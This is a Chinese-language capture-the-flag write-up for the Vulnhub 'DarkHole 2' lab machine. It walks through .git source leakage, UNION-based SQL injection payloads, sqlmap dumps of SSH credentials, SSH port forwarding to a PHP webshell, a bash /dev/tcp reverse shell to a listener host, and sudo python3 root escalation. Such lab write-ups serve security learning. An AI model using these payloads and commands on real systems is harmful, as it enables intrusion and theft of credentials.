Vulnhub-DarkHole_2-Writeup
Vulnhub-DarkHole_2-Writeup
靶机地址:DARKHOLE: 2
Difficulty: Hard
目标发现与探索
使用arp-scan
发现目标IP
arp-scan -l
使用nmap
扫描开放端口
nmap -sV -p- 192.168.164.194
打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接
我们点进登录页面
想到可能是SQL注入,但是尝试之后没有结果。
太久没做了,都忘记该怎么做了,然后就去看了一下别人的解题过程,下面才是这个靶机的正确打开方式。
.git源码泄露漏洞
首先使用nmap -A 192.168.164.194
进行扫描时,可以发现一个http-git页面
这里涉及.git源码泄露漏洞。.git文件夹里面保存了很多信息,用户所有的git操作和被操作的文件都会被记录,而且.git文件夹是个隐藏文件夹,所以管理员可能没注意到,将“.git”文件夹直接部署到线上环境,这就造成了git泄露问题。
利用方法可以使用Git源码泄露利用工具,也可以直接爬取整个git目录,我们使用后面这种方法。
(1)将这个git 库下载下来,-r
表示递归下载,然后进入该目录
wget -r http://192.168.164.194/.git
cd 192.168.164.194
(2)利用git log
命令查看提交过的记录
我们发现在a4d900a
这个记录里写着login.php带了一个默认凭证。
(3)使用git reset --hard [log hash]
恢复到指定版本号,--hard
参数撤销工作区中所有未提交的修改内容,将暂存区与工作区都回到上一次版本,并删除之前的所有信息提交。
git reset --hard a4d900a
然后我们查看login.php的内容
vim login.php
然后就看到了邮箱账号密码,然后在网页端登录。
SQL 注入
登录后如下图,网址中id可能参数存在SQL注入
加上一个单引号后,页面变白,说明应该存在SQL注入漏洞
可以使用手工注入或利用SQLMAP工具注入,我们先使用手工注入,然后再来一次sqlmap注入。
手工注入
首先通过ORDER BY
尝试确定列数,根据页面信息应该多于4列。
id=1' ORDER BY 5 --+
id=1' ORDER BY 6 --+
id=1' ORDER BY 7 --+
# 前面正常显示,当为7时页面空白,所以可以确定列数为6
然后构造UNION
语句,确定哪些列的数据被显示在页面中。
id=' UNION ALL SELECT 1,2,3,4,5,6 --+
可以看到,2、3、5、6列被显示在页面上。然后将对应的数字换成SQL查询语句从而获取数据库中的信息。
查询数据库名(也可以通过源码的配置文件直接获得)
id=' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+
页面数据可能显示不全,可以查看原代码或检查元素,得到数据库名为darkhole_2
然后利用information_schema
数据库获得表名、列名、数据。
#得到ssh表和user表
id=' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'--+
#查询ssh表获得列名:id, pass, user
id=' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'--+
#查询ssh表中的user和pass列的数据
id=' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh--+
得到账号和密码,然后利用ssh就可以登录到jehad账户。
SQLMAP注入
在使用sqlmap之前,我们还要先获取cookie,直接使用浏览器开发者工具就可以。
然后使用sqlmap进行注入,获取当前数据库名(也可以通过源码的配置文件直接获得)
#获取当前数据库名
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql --current-db
#获取表
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql -D darkhole_2 --tables
#获取ssh表数据
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql -D darkhole_2 -T ssh --dump
得到账户名和密码同样利用ssh登录。
远程命令执行漏洞
使用SSH登录
ssh jehad@192.168.164.194
#输入密码
id
一般权限提升一般通过查看sudo权限,发现具有特殊权限的文件,发现秘密文件,还有一些历史记录,定时任务,系统软件版本漏洞什么的。
这道题这里采用的是定时任务,输入命令查看定时任务。
cat /etc/crontab
可以看到运行了一个php服务器在9999端口上,用户为losy,我们可以尝试去看一下原代码。
发现居然是个一句话木马,我们可以通过携带我们想要执行的命令的cmd参数访问这个链接就可以以losy的身份执行命令。不过这个链接只能本地访问,因为我们已经获取了目标靶机的一个用户,所以我们可以使用SSH的本地转发功能(SSH -L)。
这个功能是在本地监听一个端口,但该端口的连接被转发到远程主机的特定端口。相当于把远程端口映射到本地,即“将远程端口放在本地”。如下例子将监听本地9999端口,任何访问9999的客户端,都相当于远程访问example.com 的80端口,但是流量是通过 remote.server 的,并且所有流量都被加密.
ssh -L 0.0.0.0:9999:example.com:80 user@remote.server
还有一种变体:目标主机与代理主机可以是同一台主机,即将remote.server服务映射到本地:
ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server
我们使用这个命令将目标靶机的本地9999映射到本地9999端口。
ssh -L 9999:127.0.0.1:9999 jehad@192.168.164.194
然后我们在浏览器中访问9999端口,传入cmd参数
可以看到,用户为losy,我们可以反弹一个losy的shell
bash -c 'bash -i >& /dev/tcp/192.168.164.179/9000 0>&1'
进行URL编码后
bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.164.179/9000%200%3E%261%27
利用nc -nvlp 9000
在本地开启监听,然后将上面命令作为cmd参数访问,从而拿到shell,然后对shell进行升级
python3 -c 'import pty;pty.spawn("/bin/bash")'
获取Root权限
在losy用户的.bash_history文件里,可以发现他的密码
然后查看sudo权限,发现可以以root身份执行python3
那我们就可以以超级管理员身份开启一个shell
sudo python3 -c 'import os; os.system("/bin/bash")'
拿到flag。
参考文章
Git 菜鸟教程
如何利用.git文件夹下载整个网站泄漏的源码
「OpenSSH」- 端口转发
DarkHole_2 Walkthrough – Vulnhub – Writeup